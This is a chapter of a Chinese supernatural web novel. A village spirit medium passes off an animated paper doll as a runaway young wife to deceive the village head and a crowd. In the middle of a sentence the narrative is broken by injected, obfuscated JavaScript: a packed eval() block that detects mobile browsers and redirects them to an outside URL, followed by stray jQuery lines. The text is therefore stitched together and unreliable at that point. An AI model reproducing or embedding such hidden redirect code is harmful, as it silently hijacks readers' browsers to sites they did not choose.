我背靠着冰凉的门框边，能感觉到铁皮的纹理隔着薄薄衣料硌着脊背。夜风吹过，檐下那盏积满灰尘的灯泡晃了晃，在院墙上投出摇摆不定的光影。


    张广茂脸上的笑容僵在那里，像一张戴久了的假面，边缘开始龟裂。


    “这是祖宗传下的规矩。”我迎着众人的目光，声音不高，但每个字都沉甸甸的，“法事中途被打断，轻则不灵，重则反噬。你们要人，我可以给。但这之后，若是那姑娘这辈子都生不出孩子，或是生出个残缺不全的，这孽债，谁来背？”


    人群骚动起来。


    有人往后退了半步，有人低下头，不敢再看我。在记忆里，白濯心曾用傀娘的名声替些姑娘求过子，有的成了，而有的，同许媛是一样的情况。


    而此刻的做法，不过是故技重施。她在赌，赌张广茂还没回过神，赌他们还没起疑。


    由于，她确实很灵，所以村里的老人信这个，年轻人虽然嘴上说不信，骨子里却还留着敬畏。尤其是关于子嗣，关于传宗接代，那是血脉里最原始的恐惧。


    张广茂他娘不哭了，坐在地上，愣愣地看着我，嘴唇哆嗦着，半天才挤出一句：“不……不能吧？”


    “能不能，我说了不算。”我垂下眼，手指在膝盖上轻轻敲了敲，做出掐算的样子，“时辰被破，阴气入体。你们自己掂量。”


    这也是赌。


    赌他们对“断子绝孙”这四个字的恐惧，比对一个逃跑女人的执念更深。


    张广茂死死盯着我，眼神像刀，想要从我脸上剐下一层皮，看看底下藏着的到底是什么。他在衡量，在算计。这个老狐狸，比谁都精明，也比谁都迷信。


    “村长。”人群里有人开口了，是个驼背的老头，平时最信这些神神叨叨的东西，“白婆婆说得在理。这法事……不能乱破。”


    “对、对。”另一个声音附和，“万一真坏了事，那可是要遭报应的。”


    “咱们村的香火本来就单薄……”


    窃窃私语声越来越大，像潮水一样漫上来。


    张广茂的脸色越来越难看。他今晚布这个局，是要逼我让步，要当着全村的面坐实我“藏人”的罪名，最好能顺理成章地闯进我家，看看我到底在搞什么名堂。可他没算到我会拿“规矩”和“子嗣”来说事。


    这是他的软肋，也是村里大多数人的软肋。


    “那……”他深吸一口气，努力维持着平静，“白婆婆，依你看，现在该怎么办？人我们得见，至少得知道她是不是好好的。不然勤奋他娘没法放心，我这个当村长的，也没法跟村里人交代。”


    “人，我可以让你们见。”我慢慢站起身，膝盖的酸麻感还没完全消退，动作有些迟缓，“但不能上楼，不能进屋。我让她下来，站在门口，你们看上一眼，确认她没事，就都散了。剩下的事，天亮了再说。”


    “那法事……”张广茂追问。


    “法事既破，就得重来。”我看着他，一字一句道，“但这次的费用，得你们出。香火钱，供品，还有我的辛苦费。至于灵不灵，看天意。”


    人群里响起倒吸冷气的声音。


    张广茂的眉头拧成了疙瘩，他大概在算这笔账值不值。但箭在弦上，不得不发。这么多人看着，他要是连“看一眼”都不让，就显得太咄咄逼人了。


    “行。”他终于松口，但眼神里的警惕半分没少，“那就请她下来，让我们看一眼。”


    我转身，走回堂屋。


    门在我身后合上，隔绝了外面的灯光和视线。堂屋里更黑了，只有神龛前那盏长明灯，豆大的火苗在玻璃罩里跳动，把我的影子拉得老长，扭曲地映在墙上。


    我没立刻上楼。


    而是走到供桌前，拿起三炷香，在长明灯上点燃。香头的红光在黑暗里明灭，青烟袅袅升起，盘旋着融入屋顶的黑暗。


    我在等。


    等许媛走远，等暗室的门合上，等她留下的那个“她”做好准备。


    香烧了半寸。


    我把香插/进香炉，然后转身，一步一步，踏上楼梯。


    木头台阶发出细微的响声，在寂静里格外清晰。每一步，都像踩在心跳上。二楼的走廊比楼下更暗，没有灯，只有尽头那扇窗户，漏进一点惨淡的月光。


    我推开自己房间的门。


    床上，被子隆起一个人形。


    纸人已经躺好了，穿着许媛留下的那件碎花衬衫，头发散在枕头上，背对着门。从门口看过去，只能看到一个侧卧的背影，和露在外面的半截手臂。


    月光从窗户斜斜照进来，落在她身上，皮肤泛着一种不正常的苍白，像上了釉的瓷器。


    我走过去，站在床边。


    纸人没有呼吸，没有温度，但它“活”着。我能感觉到那股微弱的、不属于这个世界的脉动，从它的心脏位置扩散出来，像水波一样，一圈圈荡开。


    “该起来了。”我轻声说，声音低得只有自己能听见。


    纸人动了。


    先是手指，轻轻蜷缩了一下。然后是肩膀，微微耸动。它慢慢转过身，睁开眼睛。


    那双眼睛，空洞，无神，但在昏暗的光线里，竟然真的有几分神采。许媛给它的那两笔，点活了它。它现在“是”许媛，至少在接下来的几分钟里，它必须“是”。


    它坐起身，动作有些僵硬，但还算自然。长发垂下来，遮住了半边脸。


    “跟我下楼。”我说。


    纸人点点头，掀开被子，下床，穿鞋。它的动作很慢，每一步都带着一种诡异的流畅，像是有人在背后提着线。


    我转身，走在前面。


    纸人跟在我身后，脚步声很轻，几乎听不见。我们一前一后，走下楼梯，穿过堂屋，走到门前。


    我的手放在门闩上，停顿了一秒。


    门外，是二十几双眼睛，二十几个等待验证猜测的人。门内，是一个纸糊的假人，一场精心编排的戏。


    我拉开门。


    光涌进来，带着夜风，带着硝烟味，带着无数道视线。


    我侧身，让出半个位置。


    纸人从我身后走出来，站在檐廊下。它低着头，双手交握在身前，手指绞在一起，一副局促不安的样子。月光和灯光交织着落在它身上，那件碎花衬衫显得格外单薄，肩膀微微发抖，不知道是冷的，还是怕的。


    人群安静了一瞬。


    然后，窃窃私语声炸开了。


    “真是许老师……”


    “看着是没事啊。”


    “脸色怎么那么白？”


    “吓的吧，这么多人……”


    张勤奋他娘踉跄着扑过来，想要抓纸人的手。纸人往后缩了半步，躲开了。老妇人的手僵在半空，脸上的表情从狂喜变成了困惑。


    “儿媳……儿媳你没事吧？”她颤声问。


    纸人抬起头，看了她一眼，又迅速低下头，声音细细的，带着颤：“我……我就是来求个孩子……你们、你们别为难白婆婆……”


    声音不高，但足够清晰。


    语调，语气，甚至那种胆怯里带着一点倔强的劲儿，都和许媛有七八分像。我站在门内阴影里，看着纸人的侧脸，心里那根弦绷得紧紧的。


    它能骗过这些人吗？


    能骗多久？


    张广茂上前两步，走到纸人面前，借着煤油灯的光，仔细打量它。他的目光像探照灯，从头发丝扫到脚后跟，每一寸都不放过。


    纸人被他看得更紧张了，手指绞得更紧，指节泛白。


    “许老师。”张广茂开口，声音放得很温和，像在哄小孩，“真是来求子的？”


    纸人点点头，没说话。


    “那怎么不跟家里说一声？你婆婆和勤奋都快急疯了，全村人都在找你。”


    “我……”纸人咬了咬嘴唇，这个动作是许媛紧张时常做的，“我怕……怕不灵。白婆婆说，法事期间，不能告诉任何人，尤其是……尤其是男人。不然就前功尽弃了。”


    它抬起眼，飞快地瞥了张广茂一眼，又垂下，“我、我就是想要个孩子……勤奋他娘天天念叨，我压力大……才偷偷来的。”


    话说得合情合理。


    一个被逼着生孩子的女人，走投无路，求助于神婆。这种事，在村里不算稀奇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079534|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。只是以前没人闹这么大动静。


    人群里的议论声变了风向。


    “唉，也是可怜……”


    “张勤奋那傻样，哪个姑娘愿意跟他？也就是这老师心善。”


    “想要孩子，理解，理解。”


    “那也不该偷跑出来啊，看把大家折腾的。”


    张广茂没接话。他还是盯着纸人，眼神里的怀疑一点没少。突然，他伸出手，像是要拍纸人的肩膀。


    纸人猛地往后一躲，动作幅度很大，差点撞在门框上。


    “别碰我！”它的声音陡然尖利起来，带着哭腔，“法事还没完……男人碰了，就全完了！你们是不是想让我一辈子生不出孩子？！”


    这一嗓子，把所有人都喊愣了。


    张广茂的手僵在半空，脸色青一阵白一阵。他大概没想到“许媛”反应会这么大。


    老妇人也吓住了，连连摆手：“不碰、不碰！儿媳你别激动，我们就是来看看你，没事就好，没事就好……”


    纸人喘着气，胸口起伏，眼泪居然真的从眼眶里滚了下来，顺着苍白的面颊往下淌。它抬手抹了一把，手背上是湿的。


    我站在阴影里，看着那滴“泪”，心里冷笑。


    纸人会流泪吗？


    当然不会。


    但那滴液体，是我提前藏在它眼角的一小滴符水。温度合适时，会慢慢化开，顺着脸颊流下来，像极了眼泪。


    张广茂终于收回了手。他退后两步，目光在我和纸人之间扫了个来回，最后叹了口气，摆摆手：“行了，既然人没事，那就都散了吧。大半夜的，别在这儿聚着了。”


    人群开始松动。


    有人打着哈欠往回走，有人还在小声议论，但那股紧绷的气氛，明显散了。


    张勤奋他娘还想说什么，被张广茂一个眼神制止了。老妇人看看纸人，又看看我，嘴唇嚅动了几下，最终什么也没说，抹着眼泪，一步三回头地走了。


    张广茂留在最后。


    等人都走得差不多了，他才上前一步，压低了声音对我说：“白婆婆，今天这事，对不住。但你也知道，村里最近不太平，我也是没办法。”


    我没接话，只是看着他。


    “人，你照顾好。”他意有所指地看了一眼还站在檐廊下抽泣的纸人，“法事的费用，明天我让人送过来。但有一点……”


    他顿了顿，声音更低了，低到只有我们俩能听见：“人既然到了你这儿，得真生得出孩子。至于之后是男孩还是女孩，那都是后话。你明白我的意思吗？”


    我明白了。


    他应该没完全放下戒心，在故意点醒我。至于她到底能不能生儿子，都不重要。重要的是，面子上要过得去，村里的“规矩”不能破。


    真是打得好算盘。


    “费用加倍。”我开口，声音平淡无波，“供品要全，香火要足。少一样，法事不做。”


    张广茂盯着我看了几秒，忽然笑了，那笑容里带着几分了然，几分讥诮，还有几分说不清道不明的忌惮。


    “行。”他痛快地答应了，“明天一早，东西送到。”


    说完，他转身，大步走进夜色里。那两个壮汉跟在他身后，像两道沉默的影子。


    放鞭炮的小孩早就跑没影了，地上只剩下那摊红纸屑，在夜风里打着旋。


    院子里终于空了。


    我站在门口，看着他们的背影消失在村道尽头，听着那些脚步声、低语声渐渐远去，最后归于寂静。远处的灯光一盏接一盏熄灭，村子重新沉入睡眠，仿佛刚才那场闹剧从未发生。


    只有空气里残留的硝烟味，还有地上那片刺眼的红，提醒着我刚才发生了什么。


    我转身，看向檐廊下。


    纸人还站在那里，一动不动，像一尊苍白的雕像。脸上的“泪痕”已经干了，留下两道浅浅的水渍。眼睛空洞地望着前方，没有焦点。


    “回来吧。”我说。


    纸人转过身，动作僵硬地走回堂屋。我跟在后面，关上门，插上门闩。


    木头碰撞的声音在寂静里格外清晰，像一声沉重的叹息。